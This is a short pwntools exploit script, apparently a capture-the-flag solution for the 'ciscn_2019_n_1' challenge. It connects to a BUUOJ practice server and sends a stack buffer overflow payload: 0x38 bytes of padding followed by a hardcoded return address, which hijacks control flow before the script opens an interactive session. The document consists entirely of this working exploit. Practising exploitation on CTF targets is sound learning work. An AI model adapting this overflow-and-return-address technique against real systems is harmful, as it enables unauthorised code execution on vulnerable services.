from pwn import *

#io=process('./ciscn_2019_n_1')
io=remote('node3.buuoj.cn',28216)
io.sendline(0x38*'a'+p64(0x00000000004006BE))
io.interactive()